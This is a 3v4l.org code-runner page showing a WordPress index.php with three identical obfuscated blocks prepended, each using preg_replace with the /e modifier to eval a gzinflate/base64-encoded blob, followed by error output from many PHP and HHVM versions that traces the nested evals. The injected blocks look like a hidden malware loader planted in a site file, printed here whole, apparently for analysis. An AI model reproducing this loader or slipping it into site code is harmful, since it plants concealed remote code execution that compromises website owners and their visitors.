3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php ob_start(); ?> <?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZfNjtxGDITvAfIOC2MPycWQ1H8SjLzJXjQ7mjhAnAABYozf3s3ix5FWCTbIoTEjdTebZBWLref7fC3z16enj788fXi5t6GP6eVeSx/t5V5u+7PN1dc+xj6Sv5vmPvr81NdNWx+r/9ecvX/139J/W1+bah/l8Nz83Zv58e1zTofnbivNp/Xtrb182p+Wk71ymq/vnHf2x/zN78Tzb/6d4z/bO593tJdO/qXT+X1tPufvPf/qP8/7X/uJb+p+t451sf19Lvf/dYU/2TGQXXu2/Pc9zewYVsaf2fNse8rqNsria21d3fy95mf2TP7bmq+1Ydjm/j4vjmvN7FnggtlLb7lg3MwzfnFmKX6OvZcvxvWbx1cmMOijVo+hXjxWnX/xGrG9eubX8ma2s9XQSN4u8DNha/Z8Wz4a2Ng61dnNbVhMjTwrhnmPMdf9zGx2iEccnP05h831w6cff3i+/3FPv/36KPjsAdYrSW0U1OSO5asfbMm3RJsz+WDUgnsUmTkFAGbPAqwEkADbAmkAKfLNALLh8Eagg5+vtZDIfLF5CczFiZDXQ+JG32dgKy7IaMksJNFik3htvBvwCdDk9+rn2lysecQye46Uk+R+h48V4VPOyKXEMvt+WxviKR8b50MWO9v8N9uNZxUXZG4Q12I3LESqEZ8DFwpGcxO4jZBtJK4MKQf2bY69yJkh0oXcjcS2eQHI5/EQs/lEoYkzyRuH2TYfjeiZAjfBeOCa3D/5W9w3O19ikPE9uR+GhxHd4ldebu6H5uCPcn/1X7MjvF69AMSD1WMR/tddTFVc0YRW8jy6zXIosnjWWSNjoUkiDI08iyOBa4bX5Eucz4jDQH4T4kOOJgRjorbsTOOm8VT1VeAo2JkAVWrBhgRedeAF//nPv9K3R8HPHDg5qDYE1kxiM++KJ1BEn/3gKPoJ9ROhA5y6A5BQKxXe5ACLgGnfoyIYUNiRQm4oWQKMAmGaBySbJDwFEJsnTd1lghSjEyw6hpGpQcLEzUVdo7mPKbrVQreuJHOhC8ycifqKpFfP1eMGU/eiUA4zxXxFWG4UxEIcG6DdUGnIbXsKgFu+EkVdp4NYYl+YFJ/T/CtEKviSiWWkSC/sa3Sg1W0WhM98LQiYRK5BtOR4JUgmniwIIFg01sWeuh5ipqFE16vBoUrHGhCpmY4dQsUeFeLAbYcYtecGRokcbvAibiTkqnGraYiv+dLIq2JCXCo8UHyRl2g2MU+DiybZAodXeDsexP/gjwQL/AvNSoXdqI/NbWs/IhZ2hWHjJoMfLepqhPMSbS/48vnv8uVR8IVEzRChEDhdN8eVqqFwM8YBRyTmfYFsKp4N8jWAXj0BRrLEWiU3sya69QCYmX0FRVs8KZZ4s6GC4kqTuRnoU6ThU/FzUtu7Y+VGUbDX6JbxuaKYUGl1hCBx4nYRPhCTusuVmxCARjfOQfgZxebzSCKHMsu/YS+ECg7CpDghJSYUQ0Kc4xouQqDqmY4ssaFj2m+L3ND1be0U3Ttjj98KiaIYCp8f4kYIdHziYVu5xWd17Ir4NW4OIx1upXAX8nTZu6oKCVsqzsbNiqJv/H/cLhA+3RgC/3G/1T26bTST20FIL+CBKAXPdWUe/V0ZomCIhdvG4/OP63g+fHoIx9XXqDM3xM0azNXHdPwUnV7efnr+13Nye8fPZg3jWy/s7ev6+0/PfK5/fIp7vP3zBm//VPk/f/oO'\x29\x29\x29\x3B",""); ?> <?php ob_start(); ?> <?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZfNjtxGDITvAfIOC2MPycWQ1H8SjLzJXjQ7mjhAnAABYozf3s3ix5FWCTbIoTEjdTebZBWLref7fC3z16enj788fXi5t6GP6eVeSx/t5V5u+7PN1dc+xj6Sv5vmPvr81NdNWx+r/9ecvX/139J/W1+bah/l8Nz83Zv58e1zTofnbivNp/Xtrb182p+Wk71ymq/vnHf2x/zN78Tzb/6d4z/bO593tJdO/qXT+X1tPufvPf/qP8/7X/uJb+p+t451sf19Lvf/dYU/2TGQXXu2/Pc9zewYVsaf2fNse8rqNsria21d3fy95mf2TP7bmq+1Ydjm/j4vjmvN7FnggtlLb7lg3MwzfnFmKX6OvZcvxvWbx1cmMOijVo+hXjxWnX/xGrG9eubX8ma2s9XQSN4u8DNha/Z8Wz4a2Ng61dnNbVhMjTwrhnmPMdf9zGx2iEccnP05h831w6cff3i+/3FPv/36KPjsAdYrSW0U1OSO5asfbMm3RJsz+WDUgnsUmTkFAGbPAqwEkADbAmkAKfLNALLh8Eagg5+vtZDIfLF5CczFiZDXQ+JG32dgKy7IaMksJNFik3htvBvwCdDk9+rn2lysecQye46Uk+R+h48V4VPOyKXEMvt+WxviKR8b50MWO9v8N9uNZxUXZG4Q12I3LESqEZ8DFwpGcxO4jZBtJK4MKQf2bY69yJkh0oXcjcS2eQHI5/EQs/lEoYkzyRuH2TYfjeiZAjfBeOCa3D/5W9w3O19ikPE9uR+GhxHd4ldebu6H5uCPcn/1X7MjvF69AMSD1WMR/tddTFVc0YRW8jy6zXIosnjWWSNjoUkiDI08iyOBa4bX5Eucz4jDQH4T4kOOJgRjorbsTOOm8VT1VeAo2JkAVWrBhgRedeAF//nPv9K3R8HPHDg5qDYE1kxiM++KJ1BEn/3gKPoJ9ROhA5y6A5BQKxXe5ACLgGnfoyIYUNiRQm4oWQKMAmGaBySbJDwFEJsnTd1lghSjEyw6hpGpQcLEzUVdo7mPKbrVQreuJHOhC8ycifqKpFfP1eMGU/eiUA4zxXxFWG4UxEIcG6DdUGnIbXsKgFu+EkVdp4NYYl+YFJ/T/CtEKviSiWWkSC/sa3Sg1W0WhM98LQiYRK5BtOR4JUgmniwIIFg01sWeuh5ipqFE16vBoUrHGhCpmY4dQsUeFeLAbYcYtecGRokcbvAibiTkqnGraYiv+dLIq2JCXCo8UHyRl2g2MU+DiybZAodXeDsexP/gjwQL/AvNSoXdqI/NbWs/IhZ2hWHjJoMfLepqhPMSbS/48vnv8uVR8IVEzRChEDhdN8eVqqFwM8YBRyTmfYFsKp4N8jWAXj0BRrLEWiU3sya69QCYmX0FRVs8KZZ4s6GC4kqTuRnoU6ThU/FzUtu7Y+VGUbDX6JbxuaKYUGl1hCBx4nYRPhCTusuVmxCARjfOQfgZxebzSCKHMsu/YS+ECg7CpDghJSYUQ0Kc4xouQqDqmY4ssaFj2m+L3ND1be0U3Ttjj98KiaIYCp8f4kYIdHziYVu5xWd17Ir4NW4OIx1upXAX8nTZu6oKCVsqzsbNiqJv/H/cLhA+3RgC/3G/1T26bTST20FIL+CBKAXPdWUe/V0ZomCIhdvG4/OP63g+fHoIx9XXqDM3xM0azNXHdPwUnV7efnr+13Nye8fPZg3jWy/s7ev6+0/PfK5/fIp7vP3zBm//VPk/f/oO'\x29\x29\x29\x3B",""); ?> <?php ob_start(); ?> <?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZfNjtxGDITvAfIOC2MPycWQ1H8SjLzJXjQ7mjhAnAABYozf3s3ix5FWCTbIoTEjdTebZBWLref7fC3z16enj788fXi5t6GP6eVeSx/t5V5u+7PN1dc+xj6Sv5vmPvr81NdNWx+r/9ecvX/139J/W1+bah/l8Nz83Zv58e1zTofnbivNp/Xtrb182p+Wk71ymq/vnHf2x/zN78Tzb/6d4z/bO593tJdO/qXT+X1tPufvPf/qP8/7X/uJb+p+t451sf19Lvf/dYU/2TGQXXu2/Pc9zewYVsaf2fNse8rqNsria21d3fy95mf2TP7bmq+1Ydjm/j4vjmvN7FnggtlLb7lg3MwzfnFmKX6OvZcvxvWbx1cmMOijVo+hXjxWnX/xGrG9eubX8ma2s9XQSN4u8DNha/Z8Wz4a2Ng61dnNbVhMjTwrhnmPMdf9zGx2iEccnP05h831w6cff3i+/3FPv/36KPjsAdYrSW0U1OSO5asfbMm3RJsz+WDUgnsUmTkFAGbPAqwEkADbAmkAKfLNALLh8Eagg5+vtZDIfLF5CczFiZDXQ+JG32dgKy7IaMksJNFik3htvBvwCdDk9+rn2lysecQye46Uk+R+h48V4VPOyKXEMvt+WxviKR8b50MWO9v8N9uNZxUXZG4Q12I3LESqEZ8DFwpGcxO4jZBtJK4MKQf2bY69yJkh0oXcjcS2eQHI5/EQs/lEoYkzyRuH2TYfjeiZAjfBeOCa3D/5W9w3O19ikPE9uR+GhxHd4ldebu6H5uCPcn/1X7MjvF69AMSD1WMR/tddTFVc0YRW8jy6zXIosnjWWSNjoUkiDI08iyOBa4bX5Eucz4jDQH4T4kOOJgRjorbsTOOm8VT1VeAo2JkAVWrBhgRedeAF//nPv9K3R8HPHDg5qDYE1kxiM++KJ1BEn/3gKPoJ9ROhA5y6A5BQKxXe5ACLgGnfoyIYUNiRQm4oWQKMAmGaBySbJDwFEJsnTd1lghSjEyw6hpGpQcLEzUVdo7mPKbrVQreuJHOhC8ycifqKpFfP1eMGU/eiUA4zxXxFWG4UxEIcG6DdUGnIbXsKgFu+EkVdp4NYYl+YFJ/T/CtEKviSiWWkSC/sa3Sg1W0WhM98LQiYRK5BtOR4JUgmniwIIFg01sWeuh5ipqFE16vBoUrHGhCpmY4dQsUeFeLAbYcYtecGRokcbvAibiTkqnGraYiv+dLIq2JCXCo8UHyRl2g2MU+DiybZAodXeDsexP/gjwQL/AvNSoXdqI/NbWs/IhZ2hWHjJoMfLepqhPMSbS/48vnv8uVR8IVEzRChEDhdN8eVqqFwM8YBRyTmfYFsKp4N8jWAXj0BRrLEWiU3sya69QCYmX0FRVs8KZZ4s6GC4kqTuRnoU6ThU/FzUtu7Y+VGUbDX6JbxuaKYUGl1hCBx4nYRPhCTusuVmxCARjfOQfgZxebzSCKHMsu/YS+ECg7CpDghJSYUQ0Kc4xouQqDqmY4ssaFj2m+L3ND1be0U3Ttjj98KiaIYCp8f4kYIdHziYVu5xWd17Ir4NW4OIx1upXAX8nTZu6oKCVsqzsbNiqJv/H/cLhA+3RgC/3G/1T26bTST20FIL+CBKAXPdWUe/V0ZomCIhdvG4/OP63g+fHoIx9XXqDM3xM0azNXHdPwUnV7efnr+13Nye8fPZg3jWy/s7ev6+0/PfK5/fIp7vP3zBm//VPk/f/oO'\x29\x29\x29\x3B",""); ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require('./wp-blog-header.php');
Output for 7.0.0 - 7.1.0
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/4vtfr on line 3 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/4vtfr on line 7 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/4vtfr on line 11 Warning: require(./wp-blog-header.php): failed to open stream: No such file or directory in /in/4vtfr on line 29 Fatal error: require(): Failed opening required './wp-blog-header.php' (include_path='.:') in /in/4vtfr on line 29
Process exited with code 255.
Output for hhvm-3.12.0
Fatal error: Uncaught Error: File not found: ./wp-blog-header.php in /in/4vtfr:29 Stack trace: #0 {main}
Process exited with code 255.
Output for hhvm-3.10.0
Fatal error: File not found: ./wp-blog-header.php in /in/4vtfr on line 29
Process exited with code 255.
Output for 5.5.0 - 5.6.28
Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/4vtfr on line 3 Notice: Undefined variable: x8d58v in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 1 Notice: Undefined variable: xnx3ig in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 2 Notice: Undefined variable: xhor3y in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 3 Notice: Undefined variable: x5hu5m in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 4 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/4vtfr(3) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/4vtfr(3) : regexp code(1) : eval()'d code(4) : eval()'d code(1) : regexp code(1) : eval()'d code on line 1 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/4vtfr(3) : regexp code(1) : eval()'d code(4) : eval()'d code(1) : regexp code(1) : eval()'d code on line 1 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/4vtfr on line 7 Parse error: syntax error, unexpected '.' in /in/4vtfr(7) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/4vtfr on line 11 Parse error: syntax error, unexpected '.' in /in/4vtfr(11) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Warning: require(./wp-blog-header.php): failed to open stream: No such file or directory in /in/4vtfr on line 29 Fatal error: require(): Failed opening required './wp-blog-header.php' (include_path='.:') in /in/4vtfr on line 29
Process exited with code 255.
Output for 5.1.0 - 5.4.45
Notice: Undefined variable: x8d58v in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 1 Notice: Undefined variable: xnx3ig in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 2 Notice: Undefined variable: xhor3y in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 3 Notice: Undefined variable: x5hu5m in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 4 Parse error: syntax error, unexpected '.' in /in/4vtfr(7) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Parse error: syntax error, unexpected '.' in /in/4vtfr(11) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Warning: require(./wp-blog-header.php): failed to open stream: No such file or directory in /in/4vtfr on line 29 Fatal error: require(): Failed opening required './wp-blog-header.php' (include_path='.:') in /in/4vtfr on line 29
Process exited with code 255.
Output for 5.0.4 - 5.0.5
Notice: Undefined variable: x8d58v in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 1 Notice: Undefined variable: xnx3ig in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 2 Notice: Undefined variable: xhor3y in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 3 Notice: Undefined variable: x5hu5m in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 4 Parse error: parse error, unexpected '.' in /in/4vtfr(7) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Parse error: parse error, unexpected '.' in /in/4vtfr(11) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Warning: main(./wp-blog-header.php): failed to open stream: No such file or directory in /in/4vtfr on line 29 Fatal error: main(): Failed opening required './wp-blog-header.php' (include_path='.:') in /in/4vtfr on line 29
Process exited with code 255.
Output for 4.3.5 - 4.4.1, 5.0.0 - 5.0.3
Notice: Undefined variable: x8d58v in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 1 Notice: Undefined variable: xnx3ig in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 2 Notice: Undefined variable: xhor3y in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 3 Notice: Undefined variable: x5hu5m in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 4 Parse error: parse error, unexpected '.' in /in/4vtfr(7) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Parse error: parse error, unexpected '.' in /in/4vtfr(11) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Warning: main(./wp-blog-header.php): failed to open stream: No such file or directory in /in/4vtfr on line 29 Fatal error: main(): Failed opening required './wp-blog-header.php' (include_path='.:') in /in/4vtfr on line 29
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Notice: Undefined variable: x8d58v in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 1 Notice: Undefined variable: xnx3ig in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 2 Notice: Undefined variable: xhor3y in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 3 Notice: Undefined variable: x5hu5m in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 4 Parse error: syntax error, unexpected '.' in /in/4vtfr(7) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Parse error: syntax error, unexpected '.' in /in/4vtfr(11) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Warning: main(./wp-blog-header.php): failed to open stream: No such file or directory in /in/4vtfr on line 29 Fatal error: main(): Failed opening required './wp-blog-header.php' (include_path='.:') in /in/4vtfr on line 29
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Notice: Undefined variable: x8d58v in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 1 Notice: Undefined variable: xnx3ig in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 2 Notice: Undefined variable: xhor3y in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 3 Notice: Undefined variable: x5hu5m in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 4 Parse error: parse error in /in/4vtfr(7) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Parse error: parse error in /in/4vtfr(11) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Warning: main(./wp-blog-header.php): failed to open stream: No such file or directory in /in/4vtfr on line 29 Fatal error: main(): Failed opening required './wp-blog-header.php' (include_path='.:') in /in/4vtfr on line 29
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Notice: Undefined variable: x8d58v in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 1 Notice: Undefined variable: xnx3ig in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 2 Notice: Undefined variable: xhor3y in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 3 Notice: Undefined variable: x5hu5m in /in/4vtfr(3) : regexp code(1) : eval()'d code on line 4 Parse error: parse error, unexpected '.' in /in/4vtfr(7) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Parse error: parse error, unexpected '.' in /in/4vtfr(11) : regexp code(1) : eval()'d code(4) : eval()'d code on line 1 Warning: main(./wp-blog-header.php) [http://www.php.net/function.main]: failed to create stream: No such file or directory in /in/4vtfr on line 29 Fatal error: main() [http://www.php.net/function.main]: Failed opening required './wp-blog-header.php' (include_path='.:') in /in/4vtfr on line 29
Process exited with code 255.